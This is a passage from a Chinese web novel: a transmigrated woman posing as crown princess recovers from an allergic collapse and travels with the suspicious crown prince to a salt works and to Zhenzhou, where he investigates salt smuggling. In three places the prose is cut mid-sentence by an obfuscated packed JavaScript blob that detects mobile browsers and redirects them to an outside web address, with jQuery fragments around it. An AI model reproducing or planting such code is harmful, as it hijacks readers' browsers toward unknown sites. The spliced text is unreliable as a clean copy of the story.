这些天她身体并未有任何不适,反而是现在,不知是毒药到期,还是刚刚吃面吃急了晕碳,她的脑袋渐渐昏沉,困得直想闭眼。 顾玉初见她并未设防,乖乖地接过瓷瓶,将药吞下,借机毫无预兆地跳转话题: “顺着你上回说的的路子,孤已经找到枕洲仓的破绽,就等三日后兵部再运送这一季度的废弃军械,看看能不能抓个现行。” 秋绪陡然一惊,恨不得聋了。 这么机密的事情干嘛告诉她! 虽然她知道这件事,可从他嘴里说出来的意义可不一样,简直是将把柄往她脑袋上插,若消息传出去,她的嫌疑比天大。 这会儿她脑瓜晕晕乎乎,不大好使,一时不知作何回复,纠结片刻,又嗦低头了一口面。 顾玉初见状,也没说话,而是没耐心似的开始把玩匕首,似乎在等待着什么。 刀身腾空飞旋,又稳稳落入他掌心,桌案上的烛焰被刃风劈得金芒迸溅。 秋绪生怕那锋利的刀刃下一秒就抵在她脖子上,立刻作谨小慎微状,连喝汤的声音都直直降低,悄没声息地扫干净面条后,又赶忙将水果全都吃完。 可不妙的是,她的头越来越晕,思维迟钝地像生锈的齿轮,卡擦卡擦就是转不动。 视线也模糊起来,眼前的顾玉初重影成三个,还越变越大,鼻尖又嗅到那淡淡的清苦药味儿,怪好闻的……他是走过来了吗…… 混乱中,秋绪身体一软,不偏不倚地歪入谁的怀中。 瞳孔失焦前的最后一瞬,她只看见那人肩上一枚金黄的银杏叶,轻轻巧巧地飘落。 下意识想伸手接,却没有一丝力气。 她昏过去了。 4. 不是本鸟 在那之后,秋绪的意识在半梦半醒之间浮沉。 周围时而吵闹,时而安静,似是许多人来了又离开,她浑浑噩噩不知被挪动到何处,挣扎后还是抵挡不住困意,坠入漆黑梦魇。 恍惚中,她几乎以为自己还在医院病房里。 游离许久,终于被一阵接连的颠簸震醒,她才从混沌的思绪中清醒些许。 脑瓜仍然昏沉,甚至没有力气睁眼。 喉头干燥似乎被火烤过,身体也沉重得好像被暴揍了一顿,她是生病了吗?怎么会这么难受? 秋绪迷糊片刻,发觉自己好似身在疾速前行的马车里,车轱辘磕磕绊绊,她整个人像寿司卷一样被包裹在柔软温暖的被褥里,晃得有点晕车想吐。 然后她感觉到有人在摸她的手。 秋绪顿时紧张起来,糟糕,她不会被强盗拐走了吧?而且强盗还要劫色! 这念头刚冒出就被打消,因为她又嗅到那若有若无的清淡药味,之前在顾玉初靠近的时候闻到过,不出意外的话,摸她手的人就是他。 那摸就摸吧,秋绪放心了,他只要没在掐她脖子,一切都好说。 但没多久,她就发现他不是在咸猪手,而是在通过指骨手形以及皮肤状态来确认什么,比如她是不是习武之人,平时的生活习惯……之类的。 就像观鸟者可以通过小鸟爪爪来确认品种,除此之外,其他的她也不大懂。 不对。 秋绪忽然冷汗都下来了。 她好像忘记自己是个左撇子。 是她本人,不是原主。 完蛋了,莫非她被看出来“不是本鸟”了?! 秋绪被这噩耗冲击得天旋地转,哪怕没睁眼,眼前都一阵又一阵地涌出五彩斑斓的黑。 她只能深深深呼吸,勉强没有暴露她已经醒了。 怎么说呢,她都当左撇子二十年了,这事儿就和呼吸一样,早就融入生活中的方方面面,很难在突然之间意识到问题,并且立刻改变习惯。 再加上她又没见过原主,也没有原主记忆,连模仿都没有目标……现在只能默默祈祷原主也是个左撇子。 顾玉初的指腹仍在轻柔细致地摩挲着她的指节。 而她又实在不敢把手抽回来。 直接导致所有注意力都被迫放在手部神经上,然后她惊悚地发现……顾玉初捏她手捏得很舒服。 这件事情的恐怖程度,不亚于曾经她雪天上课时抹窗户上的雾气玩儿,抹着抹着,就抹出了班主任的一张脸。 和那张耀武扬威的臭脸相反,他的手掌温暖,力度妥帖,从手背到骨节缓缓游走,连常年握剑磨出的薄茧擦过,她都不觉得粗粝,反而有种恰如其分的温润触感……说真的顾玉初你不当太子可以去应聘按摩师。 还有他身上的草木药味,在颠簸马车里化作一缕清淡的宁神香,反胃时倒显得解腻得很,也不知是他随身携带药包,还是因为常年服药,肌骨里都被腌入味儿了? 她以前也是如此,不过腌的是医院的消毒水味儿,算不上好闻。 秋绪脑子晕晕沉沉,像吸饱水的大棉花,各种念头缠成一团乱麻,身份暴露的危机迫至眼前,可别说跑了,她现在连身体都动不了,反而开始诡异地沉迷暴君按摩。 ……然后她就这么慌慌张张地睡过去了。 等秋绪再次醒来,马车不知什么时候已经停了,她仍在车内被褥里,兰心候在一旁,见她睁眼,赶忙上前扶她坐起身来,贴心地递上一杯热水。 秋绪想说什么,一张口,声音却嘶哑得不成样子。 她捂着脖子惊恐道:“兰心,我的嗓子——”* 兰心赶紧跪下叩首请罪:“殿下饶命!奴伺候不周,竟不知珀樱子与殿下气相冲克,这寒毒发作风邪侵体,才让殿下犯了风厥。奴愿领杖刑三十,请殿下恕罪!” 呆滞半晌,秋绪理解了兰心话中含义。 她吃珀樱子过敏休克了。 秋绪:“……” 难怪顾玉初不惜百忙之中抽空来看她吃面,还一反常态地耐心等在旁边,原来是亲自试探确认她会不会过敏。 真狗啊!狗太子!她要是死了怎么办! 所以过敏一事,他知道,侍女知道,原主也知道。 就她不知道。 不仅不知道,她还勤学好问。 啊啊啊都怪那该死的智障系统!让她在新婚夜一通丢脸,扮相扮得错漏百出,哪怕因为情报苟活,顾玉初却开始怀疑她的真实身份。 也就是说,他软禁她,让侍女汇报她的动向,不仅仅是为了避免她和梁家联系,还为了近距离观察她。 ——观察她和原主之间区别。 早说过她和原主之间,纵然容貌相似,可那些微妙的生活习惯,遣词造句,以及举手投足,都能看出这是截然不同的两个人。 灵魂层面的差异,是天海之间的鸿沟,难以跨越。 就算她装得像,对他来说她就是会告密的梁家养女,必然在新婚夜就血溅当场,装不像,被发现假扮太子妃,他又岂会轻饶? ……前途真是一片黑暗。 秋绪双眼无神地僵在原地,陷入沉默,手里还端着一杯水,兰心还跪在下面请求原谅。 咕咕—— 肚子大叫两声,才勉强让她从打击中清醒。 她这才反应过来已经饿得前胸贴后背,整个人虚的不行,吃下一头大象不成问题。 兰心显然也听见了,如以往那般嘘寒问暖道:“殿下可要用些百合粥?奴放在食盒里温着呢,这会儿吃应该正适口。” 秋绪垂下脑袋,乌黑的长发顺着低头的弧度堆满肩头,半晌抬眸,可怜巴巴地点了点头。 反正已经这样了,吃饱肚子再想办法吧。 她也免了兰心的责罚,没必要迁怒,哪怕知道她们是顾玉初派来监视她的侍从,可秋绪对她们从没什么恶感。 打工嘛,都是身不由己的。 再加上女孩子们都很勤快温柔,在生活上把她照顾得很好,她都想明白了,只要不和梁家暗度陈仓,她就没有把柄可抓,她们之间就能相安无事地相处下去。 怎么知道最先暴露的把柄根本就和梁家无关啊! 想到此处,她还苦中作乐地自嘲,也就是顾玉初发现原主换芯儿得七天,如果是梁家侍女,估计三天就能发现不对,然后直接给她咔嚓了。 唉,好烦呐,为什么哪儿都是死路一条。 秋绪郁结地蜷缩在座位里,唉声叹气,但随着一口一口吞下绵密香甜的百合粥,她的身体渐渐暖和起来,绷紧的肩膀也不自觉松懈。 ……果不其然,成年人情绪崩溃前,先得排查自己的生活作息碳水补充微量元素新鲜氧气等是否正常。 然后再吃点东西就好了。 诶?等等,说到吃—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391647|168546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秋绪突然想起系统之前给的奖励,清神丹,据说是能让她在短时间内提升思维敏捷度和爆发力,正适合她此刻大病未愈的混沌头脑与破锣嗓子。 再不济,反正他们都已经坐马车出了东宫,等会儿顾玉初如果真的要趁机杀她,至少能借着药效拼死一搏逃跑。 做好决定后,秋绪趁着兰心收拾食盒的功夫,伸手在唇边虚掩,故作咳嗽,腮帮一鼓地将清神丹囫囵吞了。 作案手法相当纯熟,偷吃,她是专业的。 未久,她便感觉到从腹部升起一冷一暖两道气,暖气传遍四肢百骸,眩晕与乏力皆如雾气般渐渐消散,冷气却直直涌上大脑,霎时间,灵台一片清明。 紧接着,耳中嗡鸣炸响。 兰心起身,裙子布料摩擦下滑的沙沙声,还有车外马匹喘粗气,行人细语,都被剥离成分明的音轨,浩浩荡荡地闯进她的耳朵。 秋绪不大适应这突然的信息过载,视线失焦片刻,才重新缓过神来。 兰心半卷车帘,扶她踏进寒凉的秋夜,想要给她披上斗篷保暖,可此时她血液里仿佛灌了烈酒,并不觉得冷。 眼前是一条密林小路,沿途都有侍卫站岗,不过为了掩人耳目,他们并没有点火把,只靠着蒙蒙亮的天色作为照明。 尝到丹药的甜头,她一时新鲜,跟着兰心顺着碎石小径往上走时也一路左顾右盼,原来小说里五感敏锐的武侠大师是这种感受吗? 此时她的视觉清透如琉璃,连天边渐褪的疏星都亮得反常,算算时间,估摸着这会儿已经早晨四五点钟。 未久,她们抵达一处高地。 周围密林葱葱,盘虬成苍青穹顶,顾玉初遥遥而立,抱臂从枝叶交错间俯瞰,深绿的松针轻盈地坠在他肩头。 一看到他,秋绪就想起刚才令人崩溃的问题,那点子兴致盎然瞬间消失殆尽,取而代之的就是满脸苦兮兮的表情。 随着离他愈来愈近,她的鼻尖一凉,再次嗅到他身上清苦的药味,却更清晰,似是久煮的汤药,浸过凉井水,淬得愈发清寂寡淡。 她皱皱鼻子,还没分辨清楚其中是有几味药,就见他倏然转眸看来,唇角勾起似有若无的弧度:“醒了?” 秋绪一听这人慵懒随意的音调子就来气,他也真好意思,她昏迷还不是拜他所赐?怎么就能这么坦然? 但仔细思及其中缘由,她又莫名心虚,只能目光游移,避免跟他对视,心里暗自生些窝囊气。 然而,她仅仅瞥了顾玉初一眼,比平时敏锐数倍的视力立时反馈给她一个信息—— 他确实,长得极好。 生来一副昳丽风流骨,嵌着一双含情目,偏生周身戾气过盛,压迫感太凶,让人来不及惊诧他的容貌,先被凶煞之气逼退三尺。 她不敢多看,视线与他的目光一碰,就被烫着似的跌开,滴溜乱转片刻,却陡然被林叶间的景色吸引注意力。 那是一片海。 秋绪心下一惊。 京城是内陆城市,不可能有海,难道他们已经到了最近的临海城?也就是,枕洲。 她疑惑地看向顾玉初,他不用上班吗?太子不是要坐班打卡的吗?怎么跑这儿来了? 如果此处真是枕洲,那么从东宫过来也有较长路程,甚至要先坐船再转马车……莫非,她昏迷的时间比想的要长得多? 一天一夜?两天?甚至更久? 难怪,饿得快死了。 5. 亲密接触 顾玉初见秋绪表情精彩,于是利落地一扬下巴,让她往前去看个清楚。 随着视界延展,她看到海岸边大片的土埂被分割成棋盘状的田地,在更远处,砖砌的棚屋与高墙间走出几个男人,皆赤膊束发,足蹬木屐,扛着长柄铁锹。 这竟然是一个坐落在海边的盐场。 “主子,查到了!” 此时有暗卫疾步而来,正要汇报时,却猛地瞧见秋绪也在,顿时闭了嘴,小心翼翼地看顾玉初一眼。 他颔首,示意暗卫继续说下去。 暗卫拱手,这才禀道:“主子圣明,此盐场确实黑心,造册的煮盐工硬是多报了三成,多出来的人,每日产的盐都偷运进盐场私库了。” 顾玉初思索片刻,吩咐道:“找两个机灵的去盐工堆里传话,就说朝廷打算强征壮丁为军户。” “奴这就去办。”暗卫领命,行礼退去。 秋绪安分地守在一旁,垂眼听着,心里却直犯嘀咕。 新婚满打满算才不过十天,这人不仅揪出枕洲仓的猫腻,连藏在海边犄角旮旯处的私盐场都摸清了位置,连带整治的法子都准备好了。 ——这话说得有点怪,别人家婚礼都是红绡帐暖,你侬我侬,可他俩这婚结得,倒像是他的烽火台终于亮起狼烟,接下来就要冲锋陷阵。 不过倒多亏这些日子翻过的文书,这会儿秋绪能听明白他的打算。 大魏军户世代为兵,祖祖辈辈都得压在这沾血讨命的行当,而且最近几年,边境与赤勒战争不断,今日填进去的新丁,保不准明日就成草席一裹往荒野一丢,活不了多久,因此边军缺额严重得很。 这些灶丁若被抓去充军,十有八九要被强征戍边,相比之下,谁都宁愿在盐场呆着,虽说每天烟熏火燎,手里好歹能有些铜板,有口热汤,总比去战场送命强。 不管枕洲仓那边的进展如何,要是这盐场的盐工们闹起来,也能从此处撕开缺口。 顾玉初怕是早有二手准备。 想到此处,秋绪猛地反应过来,原著里的顾玉初可没有查到如此深入的地步,否则原主和梁家怎么有机会投机取巧让他前功尽弃。 但现在,剧情偏离的程度已经超过68%,关键点就在于顾玉初这剧中角色像是活过来一般,有了强烈的自我意识,每一步都走在意想不到的路上。 ……就如同,挣脱了原著强加的配角束缚,终于展露出他原本应该有的力量。 或许,那天夜里她的告密于他而言,不过锦上添花,就算没有那份情报,凭他的手腕与执行力,迟早也能将这事儿查个水落石出。 天呐,面对原来那个顾玉初她就很头疼了,现在这个升级版更是让人窒息,系统的任务更是遥遥无期。 秋绪琢磨着,暗暗叹了口气,蓦然察觉谁如有实质的注视落在她身上。 方一抬眼,她便撞上顾玉初抱臂挑眉的眸光,看好戏似的等半天了:“想什么呢?” 什么想什么? 这是在问她对于盐场的看法? 还是说,他已经看穿她的身份,若想活命,现在得赶紧表忠心? 可她却觉得,顾玉初根本不在乎她是否投诚,就像大火烧山时根本不需要问树苗愿不愿意让道。所谓的征询,不过是胜利者给旁观者最后的劝降台阶。 秋绪瞧着远处的海浪阵阵,伸手将被海风吹乱的鬓发挽至耳后,心里百转千回,开口却道:“既然已经寻得盐灶,何不混入信标,便能追查私盐下落。” 她以往看过新闻,专家们为了研究海洋环流,会在特定海域投放荧光颜料,以验证模型的准确性。 哎,横竖她这身份也是破锅似的补不齐整了,还不如像上回一样,趁着他手头上还有未解决的事情,在里头硬挤出点用处,说不定还有条活路。 反正已经上了贼船,逃也没处逃。 言罢,她未等到答复,指尖无意识摩挲着衣褶,却听到一声轻如落雪的嗤笑。 “太子妃真是算无遗策啊。”他的目光一寸寸转来,像是给刀刃镀上一层凝亮的光,“身处深闺,却对外界动向了如指掌,既知晓孤在查盐,也知梁家破绽,还备着解决方案——这般精心备好的东风,是要将你的夫君送往何处去?” 秋绪:“……” 该来的还是来了。 她耷拉着脑袋,白玉耳坠在洁净的颈边轻晃,咽喉处的伤口已经留作一条细细的疤痕,她支吾半晌,抬眸瞥他一眼又急急缩回,最终小声嘀咕道:“我从书上看来的……” 话音未落,便见他眉目舒展,唇角上扬,像是听见什么了不得的笑话:“孤花了三个月才摸到暗流,你一句轻飘飘的‘知道殿下最近在查什么’,孤就得再排查一遍是谁走漏风声。你倒是说说,读的哪本圣贤书,能把这桩桩件件说得分毫不差?” 秋绪张张嘴,也不好说看的是原著。 但是,她向来不擅长扯谎,不擅长就是不擅长,哪怕穿越了也不可能瞬间就游刃有余了——她找不到借口说明,为何能知道那些本不该知道的事情。 不远处,惊雀掠过树梢。 秋绪垂着眸子,都未发觉已经在掌心掐出指痕。 她蓦然委屈起来,明明他自己也一堆说不清道不明的怪处,就因为双方地位悬殊,她就要被兴师问罪吗? 莫名其妙被丢进这本见鬼的书里已经够倒霉了,还总得提心吊胆,生怕他一不高兴,她就一命呜呼了,那些话,她说也不是,不说也不是,已经没有更好的办法了。 秋绪忽然意兴阑珊:“那你要杀了我吗?” 顾玉初闻言,稍一挑眉,没有接话,而是迈步朝她走来,碾碎枯叶时迸出零落的脆响。 若在往日,他这一动,秋绪就会跟着紧张起来,可经历这一番情绪的起起伏伏,此时她的眉间都染上疲倦,连垂死挣扎的力气都消磨殆尽。 面对煞神前来的死亡威胁,她甚至将脖颈一偏,露出伶仃优美的弧度:“给个痛快吧。” 而后不知想起什么,又小声地祈求道,“如果可以的话,麻烦你一击毙命,我有点怕疼。” 然而,顾玉初并未拔剑,而是在她面前站定,突然俯身迫近,压过来的身形生生斩断半边天光。 不!不是!这也太近了!他要干嘛! 秋绪浑身一凛,眼睁睁地看着他的面庞愈来愈近——她展露的脖颈肌肤已经能感受他温热的鼻息,激得她汗毛乍起,情不自禁缩成一团,迅速后撤。 可他偏要再近半分,见她退却更是欺身而上,直到把她逼至树丛角落,脊骨抵在树干上动弹不得。 她已经退无可退,眸子里是一览无余的惊慌失措。 他也跟着停了步子,与她保持着小小一段距离。 极近极近,却没有碰到她。 简直像是刀刃悬而未落。 更糟糕的是,秋绪方才吃过清神丹,五感比平日敏锐数倍,可此时所有感官都尽数被困在他的领域,连呼吸的每一口空气都充斥着他的痕迹。 在原著中,顾玉初虽是反派,作者却赋予他融金碎玉造就的骨相,在丹药的影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391648|168546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 响下,她眼中的他更是美丽至极,眉弓稍一压低,就仿似山雨欲来。 凤目流转间,他似乎在仔细地端详她的脸,唇角弯弯,像是豹子逗弄猎物时,故意松爪半息的姿态。 他的吐息划过她绷紧的颈侧,耳语带起她一片细小的战栗:“你到底是从哪里冒出来的?孤可不曾听说梁家养女有个同胞姊妹。” 秋绪要疯了,这简直就是酷刑。 活了二十年,她从未和任何一个男人如此亲密接触,哪怕他根本没有碰到她,偏生身体滚过灼痛好似与他紧紧相拥,连他多一个眼神都会带来负担。 “反正,我说什么你也不会信。”她的尾音颤抖如啜泣,但这根本无关恐惧,而是感官过于刺激而强装的镇定,“你就当我是孤魂野鬼,是天外来客……” 顾玉初喉间溢出短促笑音:“是吗?” 秋绪忽然就理解,曾经弹劾他的大臣们为何能气得邦邦撞柱子了,他那副歪头笑看别人跳脚的挑衅模样,实在太欠揍了! 他忽然抬手,指尖轻巧地掠过她的耳廓,她猛地一抖,却发现他只是从她的发髻间拈起一片不知何时掉落的花瓣:“孤本想着,若你诚实说出来意,养个安分守己的闲人,倒也未尝不可。” 食指与大拇指轻轻一碾,花瓣被揉碎,“但你好像更想求死?” 秋绪闻言却愕然抬眸:“难道你没想杀我?” 顾玉初冷笑道:“你一天天在昭明宫过得什么日子,心里没点数?” 秋绪:? 秋绪:“……” 那确实过得还蛮好,每餐饭都超好吃。 她有些茫然地盯着他发呆,他不明所以地挑眉询问。 说实话,秋绪本能地认为,他若是识破她并非原主,定会毫不留情痛下杀手。为求自保,她自然而然地会将自己摆在敌对位置。 可实际上,他留她一命,恰是因为她不是原主。 观察是为了确认判断,软禁是为了防着她这身份不明的人破坏棋局。 嗨呀,看这事儿整的,倒像是自己在无谓较劲。 突然觉得自己还可以抢救一下。 “要是能活,谁会想死?殿下殿下,我还知道别的,我都告诉你!”她眼睛一亮,一把攀住他还悬在空中的手腕子,竹筒倒豆子般急道,“梁皇后有惊悸之症,夜间还会梦游!” “别看大皇子光风霁月,其实他有脚臭,每日都要用香粉洗脚!” “三皇子不肯成婚,是因为宫外有个相好的,是个男伶!” 顾玉初听得好笑:“……孤要这些腌臜事作甚?” “知己知彼,方能百战百胜!”秋绪仰脸看他,淡淡的潮红还晕在眼尾,眸光汪着水汽,笼在他腕间的两只手软得不可思议,但说出来的话实在很不中听,“梁国公在早朝上成天闭口不言对吧?其实他在家里养的八哥天天都在骂宋御史!还有那谁——” 话说一半,秋绪猛地警觉转头,对着背后的阴影处喊道,“谁在那里?出来!” 灌木丛后哆哆嗦嗦出来个被迫听了一耳朵皇家丑闻的侍从,是顾玉初的随身小侍,名唤阿山。 秋绪这才惊觉自己还顶着太子妃的身份,赶紧避过身去,捂住自己发烫的脸,暗自缓口气,不让人看见她此时的窘态。 阿山也很懂人情世故,一直没敢抬眼,直接伏地叩首道:“禀太子殿下,太子妃殿下,现在是卯时正,方才探马回禀,工部钱郎中和督察院刘御史先咱们一步,已经快抵达枕洲城,眼下霜露凝得重,不好再耽搁,该赶路了。” 6. 暗流涌动 在颠簸前行的马车车厢里,顾玉初好似有需要着急处理的公务,手执卷宗眉头紧锁,面色冷峻,在车厢摇晃中快速批阅,墨笔时停时走,批完一卷便随手抓来新的。 秋绪半靠在软垫上,闭眼佯装假寐,暗自清醒顾玉初这会儿没空搭理她。 此时他们分坐在两侧,她终于不再如刚才那般,被极限压制至心神不宁。 然而,在马车这密闭的小小空间内,敏锐的感官仍在源源不断地送来他的信息,仿似在替她描摹他的轮廓与气息。 秋绪悄悄往角落挪了挪,尽量默不作声地拉开距离,企图降低他无处不在的影响。 她刚想平复心绪,低头却见车帘漏进并不算明亮的日光里,他端坐批阅的影子已经模模糊糊地漫过她的裙边……端正如松的发髻,时而滚动的喉结,还有提笔时悬空的手腕。 唉,果然不该太相信智障系统,这什么破药,怎么感觉还附带些不可描述的功能呢。 回想起方才的状况,秋绪这会儿才后知后觉地开始害臊,甚至有点暗恨自己的不争气。 起初她确实抱着厌倦赴死的决心,打算长剑抵在脖子上都不会眨眼的,但实在没想到,卑鄙的太子殿下竟这般下作地用美人计! 啊呀!不要拿美人计考验她! 她这种意志力薄弱的人,最吃这一套了,甚至还会对不.良.诱.惑说快!!! 幸好她的身体里还残存着对他的恐惧,堪堪拽住理智,克制住冲动,让太子殿下免于遭受一场酣畅淋漓的骚扰,保住了清誉。 ——她这么安慰自己道。 虽然指尖还不自在地抚摸着颈侧残留的触觉。 “你想什么呢?”顾玉初的声音忽然响起,腔调带着戏谑,“瞧这耳朵,红得能滴血了。” 秋绪纳闷,这人怎么向来能直白地问她在想什么?一点都不懂婉转吗?不是说古代人都流行三推三拒,怎么在他身上完全体现不出呢? 她迅速瞥他一眼,语速快快地说:“什么也没想,就是觉得很热,可能病还没好吧。” 顾玉初闻言嗤笑道:“孤倒是看你病好得差不多了,一身的牛劲儿。” 秋绪:“……” 顾玉初分明就是在嘲笑她! 刚才阿山来催促时,他们之间还多说了些公务,秋绪自觉不好听这些话,也着实不想听,于是转身避开,假装很忙,摸摸小花摘摘树叶什么的。 然而没办法,现在听力太好,她不仅听到了,稍一琢磨还想明白了他们这一趟的目的。 之前顾玉初已经暗派工部官员,借着汛期河堤检修的名头,去枕洲仓核验。 在她晕过去的那段时间里,估计核验结果已经出来,他自然上报了魏衡帝,秘密领了钦差金符,准备今日同工部和督察院去找枕洲仓麻烦去。 她算算时间,他们应当是领命后即刻夜乘快船出京,脚程很快,就算中途在盐场停一停,也并不会耽误公务。 枕洲仓被打个措手不及,就算察觉不对想要上报,也没那么快能将消息送达,打的就是个时间差。 京城,途径盐场,再到枕洲。 那么由此可推,兵部运送废弃军械的船也走的是这条水路,舱底暗格吞下私盐,运到枕洲仓库,经三曝九洗后,再转入黑市。 船就那么大,军械与盐包的体积差额必然造成账目漏洞,前两季的单子上,兵部虽用“江上遇风浪折损器械”作为借口遮掩,但还是被顾玉初揪住损耗差异这小辫子,顺藤摸瓜将枕洲仓扯出来。 所以,这一趟可是非常重要的公务。 但是秋绪不理解,顾玉初自己出差不就行了,还要特地将她捎上做什么?专门带她来盐场恐吓一番?什么毛病? 想到此处,她心里又大声骂了一通狗太子。 尽是会画饼装相,什么留她一命,什么养个闲人未尝不可,那珀樱子还不是说喂就喂了,明知她过敏休克,正是需要休养之际,还要把她拖来这地儿陪他出差! 他就是个彻头彻尾的坏人! 决不能相信他的一面之词! 咔嚓—— 突如其来的响亮断裂声传来,打断了顾玉初与阿山的谈话,他们转头一看,只见她手里赫然捧着一根手臂粗的树枝。 看表情,显然她自己也很震惊。 反应过来后,秋绪赶紧胡乱挥了挥手中的树枝,朝他们扯出个温柔的假笑:“你们继续聊,这树枝……咳,又直又趁手,我正愁寝殿墙上缺件摆设,这就挺好,还能镇邪。” 没等接话,她扛着长长一根断枝转身就走,步伐贼快,耳尖还泛着红。 下山的路上秋绪琢磨明白,这估计也是清神丹的药效之一,她寻思也没怎么用劲儿呢,就把这么粗的树枝掰断了,那用尽全力岂不是能把整棵树拔出来? 现在这根树枝,就被侍从好好地摆放在马车的座椅下方。 只要秋绪想,随时可以拿出来挥舞一下。 这就是顾玉初说的一身牛劲。 “那可难说,病去如抽丝啊。”秋绪嘴硬道,“其实这事儿,你直接问我,我未必不会说实话,故意喂我珀樱子,稍有差池会没命的。” 顾玉初哼道:“你吃珀樱子的时候,太医就在殿外候着呢,怎么会有危险?” 秋绪忍住已经到嘴边的话,无语凝噎。 他到底知不知道,没有危险的时候,他就是最大的危险,这屁话听听得了。 既然再次提到这话题,他又问道:“你还未告诉孤,你到底从何而来?” 秋绪煞有介事地晃晃指尖,朝上一指,神秘兮兮地说:“上头看我天赋异禀——” 她又拍拍胸口,“非是给塞进这副皮囊。” “是吗?”他连眉毛都没动一根,语气平和,似乎对如此怪力乱神的事情司空见惯,“那原来那位去哪儿了?” “不知道呀。”她转脸看他,“怎么?还想追杀她?” 顾玉初被她的质问逗乐,摇摇头道:“若真有其事,她怕是要先追杀你。” 她闻言,深以为然:“确实。” 顾玉初听闻此事,虽不惊讶,可目光也有些晦暗不明,良久才颔首道:“换人了也好,倒是替孤省了不少麻烦。” 呵!遇到我这小废物你就偷着乐吧顾玉初,秋绪暗自腹诽道,若你对上的是那天命女主,何止是省麻烦啊,你人都能直接被省了,只能做她一步步登上皇位的垫脚石。 啊,好潇洒的人生! 秋绪羡慕得很,她以前晚上编故事哄自己睡觉都不敢编这种的。 这些话她必然不敢说出口,然而顾玉初倒不在意她的沉默,半倚靠着车厢壁,兀自出神。 窗外不知何时开始下起雨来,淅淅沥沥的雨声扯回他的注意力,便合上文书,撩起锦帘,随意自然地将手探进雨幕,衣袖滑落,在肘间堆叠如流云。 她的目光下意识追出窗外。 那只修长的手,分明握惯了刀剑,却好似盈润着一层玉色光晕,晶莹剔透的雨珠从指缝淌下,再一寸寸地,顺着手背青筋滴落。 秋绪痛苦地闭上眼,不行,不能再看了。 结果脑子里又想起来,在从东宫来的路上,就是这只手将她的指节握在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391649|168546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掌中,捏个不停。 不,不行,也不能再想了! 她崩溃地发现,这清神丹不止会放大五感,连她的情绪也随之放大,往日那懒洋洋窝着的咸鱼劲儿不知所踪,连骨头都不对劲了,脑子里止不住冒出那些要命的念头。 求求了,药效赶紧过去吧,色字头上一把刀啊! · 九月中旬,天气寒凉,秋晨的雾气如轻纱缠绕。 辰时刚过,太子携工部督察员众臣抵达枕洲城门,马车前后玄甲亲兵肃立如松,再看后方,钦点的骁锐水师与丁壮亦是列阵俨然。 不久前,汪知州接到急报时堪堪搁笔,茫然一瞬后,胡乱点齐三班衙役便疾奔城门。 此刻远远望见城门外玄甲如云,他更是着急忙慌地趋步前迎,顾不得袍服下摆扫过下雨后青砖路上的积水。 在距离太子车架不远处,他扑通跪倒,跪痕拖出一串儿水渍,颤声请罪道:“臣汪河,恭请太子殿下千秋金安!接驾来迟,求殿下赐罪!” 锦帷骤掀,太子端坐车内,只环视一圈,眼风扫过跪伏的汪知州与其部众,不发一语。 汪知州冷汗落下,脖颈压得更低:“殿下,枕洲小邑荒野粗陋,已急备兰汤酒肴于望海楼,万请殿下稍歇,容臣等沐浴更衣,再行奏对……” 未等他说完,太子直接截断:“即刻去军械库。” 言罢,帷幔重新落下。 汪知州与部众对视一眼,惊得肝胆俱颤,可他实在无法,只能遵命。 亲信将马牵来,垂着脑袋凑近,将缰绳递上。 汪知州接过,压低声音问道:“通知到了吗?他们将‘雪花银’运走了没?” 亲信目色微动,几不可察地暗暗颔首,汪知州这才勉强松了口气,攥着缰绳的手仍泛青白,但他还是不放心,赶紧吩咐道:“速去寻职方司陈主事!” 这一通暗流涌动,他脊背冷汗都浸透了衣服,上马时还好悬没踏稳马镫,等勉强上马后,他才长长地缓了口气,抖开缰绳,呵着马儿前行,随侍太子车架。 枕洲才下过雨没多久,官道泥泞,马车紧赶慢赶,走的也并不快。 待枕洲仓库的铁门在雾色中显出轮廓后,汪知州又翻身下马,着急得连官帽有些歪斜都顾不上整理,只俯身跪下,盯着那扇垂着玄色帷帘不动的车驾。 侍人上前,将车帷掀起,太子玄靴踏上朱漆踏凳。 汪知州心里有事,正出神呢,忽然听到环佩轻响,太子身后跟着飘落一片秋香色的锦绣裙裾,一位女子扶着侍女的手臂,从车里探身,翊珠步摇哪怕在如此阴雨天气也熠熠生辉。 刹那间,那光芒照亮汪知州浑浊的眼睛,竟然忘了避讳直视之罪,愣愣地看着女子下了马车。 他好一会儿才反应过来,面上一喜,赶紧膝行半步蹭上前去,再次俯首道:“臣愚钝,竟不知太子妃随架......恭请太子妃殿下玉体金安!” 汪知州略抬起眼皮,视线瞥过太子妃好似泛着涟漪的裙摆,方才绷紧的肩膀慢慢放松,急急跳动的心脏也缓了下来,焦虑感逐渐平息。 